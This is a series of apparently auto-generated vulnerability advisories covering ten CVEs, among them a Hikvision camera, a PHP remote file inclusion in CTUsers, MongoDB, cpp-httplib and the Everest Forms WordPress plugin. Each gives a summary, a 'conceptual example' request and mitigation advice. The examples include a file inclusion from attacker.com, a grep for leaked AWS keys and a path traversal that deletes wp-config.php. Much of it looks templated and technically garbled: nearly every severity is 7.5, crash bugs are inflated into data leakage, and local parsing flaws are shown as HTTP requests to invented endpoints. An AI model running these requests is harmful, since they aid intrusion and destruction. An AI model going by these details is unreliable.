Author: Ameeba

Overview

This report details a significant cybersecurity vulnerability, CVE-2025-45851, found in Hikvision’s DS-2CD1321-I V5.7.21 build 230819. The vulnerability can cause a Denial of Service (DoS) attack, which could potentially lead to system compromise or data leakage. Any organization utilizing this product version should immediately address this issue to avoid potential disruption and data loss.

Vulnerability Summary

CVE ID: CVE-2025-45851
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Denial of Service, Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Hikvision DS-2CD1321-I | V5.7.21 build 230819

How the Exploit Works

The exploit works by sending a specially crafted POST request to the endpoint /ISAPI/Security/challenge on a device running the vulnerable software. This malformed request causes the system to crash, resulting in a Denial of Service (DoS) condition.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This is a sample HTTP request:

POST /ISAPI/Security/challenge HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "..." }

In this example, the “malicious_payload” is intentionally left vague. In a real-world scenario, this would contain the crafted data that triggers the vulnerability, leading to a Denial of Service.

Mitigation

The vendor, Hikvision, has released an update (V5.7.23_SP2) that fixes this vulnerability. Users are strongly advised to apply this patch immediately. Until the patch can be applied, users can use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation measure. However, these are not long-term solutions and do not eliminate the vulnerability.

Overview

The vulnerability, identified as CVE-2025-32298, is a critical flaw in the CTUsers software developed by Case-Themes. It arises from an improper control of the filename for the Include/Require statements in a PHP program, commonly known as a PHP Remote File Inclusion vulnerability. It affects CTUsers up to version 1.0.0. This vulnerability, if exploited, could lead to a system compromise and potential data leakage.

Vulnerability Summary

CVE ID: CVE-2025-32298
Severity: High (7.5 CVSS Score)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

CTUsers | n/a through 1.0.0

How the Exploit Works

The exploit works by an attacker manipulating the filename in an Include/Require statement within a PHP program. This manipulated filename can point to an external PHP file that contains malicious code. This file is then included and executed in the context of the web application, leading to potential system compromise.

Conceptual Example Code

A conceptual example of how this vulnerability might be exploited is shown below:

GET /CTUsers/index.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: target.example.com

In this case, the `file` parameter in the URL is manipulated to include a PHP file hosted on an attacker-controlled server. The server then processes this external PHP file as part of the script execution, leading to potential malicious activities.

Mitigation

The recommended mitigation for this vulnerability is to apply the vendor patch. If the patch is not available, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These systems can be configured to block or alert on requests that attempt to exploit this vulnerability.

Overview

The CVE-2014-6274 vulnerability refers to a significant flaw discovered in git-annex, affecting the versions from 3.20121126 before 5.20140919. This vulnerability poses a serious threat to data security and integrity as the AWS credentials that are supposed to be encrypted are stored in plaintext, leading to potential system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2014-6274
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

git-annex | 3.20121126 to 5.20140919

How the Exploit Works

The vulnerability arises from a bug in the S3 and Glacier remotes of git-annex. If the ’embedcreds=yes’ is set and the remote uses ‘encryption=pubkey’ or ‘encryption=hybrid’, the embedded AWS credentials are stored in the git repository in plaintext, rather than being encrypted. This misstep allows any malicious entity with access to the repository to retrieve the AWS credentials easily, leading to unauthorized access, system compromise, and data leakage.

Conceptual Example Code

This vulnerability does not require any specific attack code as the credentials are exposed in plaintext. However, an attacker could potentially use the following shell command to clone the repository and access the exposed credentials.

git clone https://target.example.com/vulnerable/repository.git
grep -iR 'AWS_ACCESS_KEY_ID' repository/

This command would clone the repository and then search for the plaintext AWS credentials within it.

Overview

The cybersecurity vulnerability CVE-2025-52887 is a high-risk flaw found within the cpp-httplib library, specifically in version 0.21.0. This C++11 single-file header-only cross platform HTTP/HTTPS library fails to limit the number of headers when multiple HTTP headers fields are passed in, leading to potential memory exhaustion and consequential system crash or unresponsiveness. This vulnerability matters tremendously as it could lead to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-52887
Severity: High (7.5 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage through memory exhaustion leading to server crashes or unresponsiveness.

Affected Products

Product | Affected Versions

cpp-httplib | 0.21.0

How the Exploit Works

The exploit works by sending numerous HTTP header fields to a server running the cpp-httplib library version 0.21.0. This library does not limit the number of headers it accepts, and it also fails to release the memory associated with these headers once the connection is disconnected. This can lead to system memory exhaustion and subsequently, server crashes or unresponsiveness, potentially leading to system compromise or data leakage.

Conceptual Example Code

The vulnerability might be exploited using a large number of HTTP header fields. Here is a conceptual example of an HTTP request that might exploit this vulnerability:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
Header1: data
Header2: data
...
HeaderN: data
{ "payload": "..." }

In the above example, `Header1` through `HeaderN` represent an excessive number of HTTP headers passed to the server. This overload can exhaust the server’s memory, leading to potential system compromise or data leakage.

Overview

CVE-2025-6710 is a serious vulnerability that affects multiple versions of MongoDB Server. This vulnerability can potentially lead to system compromises or data leaks due to an issue with the JSON parsing mechanism that makes the server susceptible to stack overflow attacks. This vulnerability is especially critical as it could lead to server crashes and can occur even before authorisation.

Vulnerability Summary

CVE ID: CVE-2025-6710
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: Low (No authentication needed for v7.0 and v8.0, authentication required for v6.0)
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

MongoDB Server | v7.0 prior to 7.0.17
MongoDB Server | v8.0 prior to 8.0.5
MongoDB Server | v6.0 prior to 6.0.21

How the Exploit Works

The exploit works by sending specially crafted JSON inputs to the MongoDB Server. These inputs cause unwarranted levels of recursion in the JSON parsing mechanism, resulting in excessive stack space consumption. This can lead to a stack overflow that causes the server to crash. For v6.0 versions, an attacker would need to authenticate first to induce this denial of service.

Conceptual Example Code

This is a conceptual example of how the exploit might be conducted in a HTTP request:

POST /mongodb_endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_json": "{...deeply nested recursive elements...}" }

In this example, the “malicious_json” would contain deeply nested recursive elements that when parsed by the MongoDB Server, would lead to a stack overflow and potential server crash.

Overview

This report analyzes a critical vulnerability identified as CVE-2025-6709 in the MongoDB Server. The vulnerability exposes systems to a potential denial of service attack and potentially allows for system compromise or data leakage. It arises from improper handling of specific date values in JSON input when using OIDC authentication, affecting multiple versions of MongoDB Server. Understanding this vulnerability is crucial for system administrators and security professionals to ensure the safety of their MongoDB installations.

Vulnerability Summary

CVE ID: CVE-2025-6709
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: Low for v7.0 and v8.0 versions, High for v6.0 versions
User Interaction: None
Impact: Denial of Service leading to potential system compromise or data leakage

Affected Products

Product | Affected Versions

MongoDB Server | v7.0 prior to 7.0.17
MongoDB Server | v8.0 prior to 8.0.5
MongoDB Server | v6.0 prior to 6.0.21

How the Exploit Works

The vulnerability stems from the MongoDB Server’s mishandling of specific date values in JSON input when using OIDC authentication. An attacker can exploit this by sending a malicious JSON payload using the MongoDB shell, leading to an invariant failure and server crash, hence causing a denial of service.

Conceptual Example Code

A conceptual exploit might involve sending a malicious JSON payload with a specific date value that triggers the server crash. The following is a pseudocode representation:

mongo target.example.com/db --eval 'db.collection.insert({date: new Date("malicious_date")})'

In this pseudocode, `target.example.com/db` represents the target MongoDB server, `db.collection.insert({date: new Date(“malicious_date”)})` is the malicious payload, with `”malicious_date”` being a date value that triggers the vulnerability.

Overview

A critical vulnerability has been identified in berkeley-abc abc 1.1, a widely used data processing module. The vulnerability, tagged as CVE-2025-45333, is a Null Pointer Dereference (NPD) flaw found in the Abc_NtkCecFraigPart function of the module. This vulnerability could potentially lead to system compromise or data leakage, making immediate attention and mitigation a necessity.

Vulnerability Summary

CVE ID: CVE-2025-45333
Severity: High (7.5)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: Unpredictable program behavior, segmentation faults, program crashes, potential system compromise or data leakage

Affected Products

Product | Affected Versions

berkeley-abc abc | 1.1

How the Exploit Works

The exploitation of this vulnerability occurs when an attacker sends a crafted request that triggers a Null Pointer Dereference in the Abc_NtkCecFraigPart function of the berkeley-abc abc 1.1 module. This could lead to unpredictable program behavior, including segmentation faults and program crashes. An attacker could exploit this vulnerability for potential system compromise or data leakage.

Conceptual Example Code

A conceptual example of how the vulnerability might be exploited could be a specially crafted payload that triggers the Null Pointer Dereference. Here is a pseudocode example:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "trigger_null_pointer_dereference" }

Mitigation & Recommendations

To mitigate this vulnerability, users are advised to apply the vendor patch as soon as it becomes available. In the interim, it is recommended to use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and prevent any potential exploitation of this vulnerability. Additionally, regular monitoring of system logs for any unusual activity can help identify potential attacks.

Overview

The CVE-2025-45332 vulnerability pertains to a Null Pointer Dereference (NPD) in vkoskiv c-ray 1.1. This vulnerability affects systems running the c-ray 1.1 software, potentially causing system compromise or data leakage. The vulnerability allows an attacker to cause segmentation faults and program crashes, thereby disrupting the integrity of the targeted system.

Vulnerability Summary

CVE ID: CVE-2025-45332
Severity: High (7.5/10)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

vkoskiv c-ray | 1.1

How the Exploit Works

The CVE-2025-45332 exploit takes advantage of a Null Pointer Dereference (NPD) vulnerability in the parse_mtllib function of the c-ray 1.1 data processing module. The vulnerability arises when the function attempts to access memory that has not been properly initialized or that has been deleted. This causes the program to behave unpredictably, leading to segmentation faults and causing the program to crash.

Conceptual Example Code

A potential example of how this vulnerability might be exploited could be an attacker sending an improperly formatted data packet to the c-ray software. This could be illustrated as follows:

POST /c-ray/process_data HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malformed_data": "..." }

Where “malformed_data” contains the payload that causes the Null Pointer Dereference, triggering the vulnerability. The exact nature of the payload would depend on the specific implementation of the parse_mtllib function within the c-ray 1.1 software.

Overview

The vulnerability identified as CVE-2025-49152 poses a significant threat to systems running the MICROSENS NMP Web+ software. This vulnerability arises from the application’s tendency to generate JSON Web Tokens (JWT) that do not expire, which could potentially allow an attacker to gain unauthorized access to the system and compromise sensitive data.

Vulnerability Summary

CVE ID: CVE-2025-49152
Severity: High (7.5 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthorized access, potential system compromise, and data leakage

Affected Products

Product | Affected Versions

MICROSENS NMP Web+ | All versions

How the Exploit Works

An attacker can exploit this vulnerability by gaining access to an unexpired JWT. Once this token is in their possession, they can bypass authentication mechanisms and gain unauthorized access to the system. The absence of an expiration date on the token means that it can be used indefinitely, potentially giving the attacker ongoing access.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. This example illustrates a potential HTTP request that an attacker might use, with the unexpired JWT included in the Authorization header:

GET /protected/resource HTTP/1.1
Host: target.example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

This conceptual code is a representation. The actual exploit would depend on the specific system configuration and the attacker’s capabilities.

Mitigation Guidance

Users are advised to apply any patches provided by the vendor as soon as possible. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation by detecting and blocking malicious activity.

Overview

CVE-2025-5927 identifies a significant vulnerability in the Everest Forms (Pro) plugin for WordPress. This vulnerability could potentially allow an unauthenticated attacker to delete arbitrary files on the server, leading to system compromise or data leakage. This vulnerability affects all versions of the plugin up to, and including, version 1.9.4 and has serious implications for website administrators who rely on this plugin for their WordPress installations.

Vulnerability Summary

CVE ID: CVE-2025-5927
Severity: High, CVSS 7.5
Attack Vector: Network
Privileges Required: None
User Interaction: Required (Admin)
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Everest Forms (Pro) Plugin for WordPress| Up to and including 1.9.4

How the Exploit Works

This vulnerability arises due to insufficient file path validation in the delete_entry_files() function of the Everest Forms (Pro) plugin. An attacker can exploit this flaw to delete arbitrary files on the server. However, this action requires an admin to trigger the deletion via deletion of a form entry. If a crucial file such as wp-config.php is deleted, it can lead to remote code execution.

Conceptual Example Code

This is a conceptual example of a malicious HTTP request that an attacker could use to exploit this vulnerability:

POST /wp-admin/admin-ajax.php?action=everest_forms_delete_entry_files HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"form_id": "1",
"entry_id": "1",
"file_path": "../../../../wp-config.php"
}

In this example, the attacker is attempting to delete the wp-config.php file, which could lead to remote code execution.

Mitigation Guidance

To mitigate this vulnerability, users are advised to apply the vendor patch as soon as it becomes available. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as temporary mitigation. Always remember to keep your plugins updated to the latest version to avoid known vulnerabilities.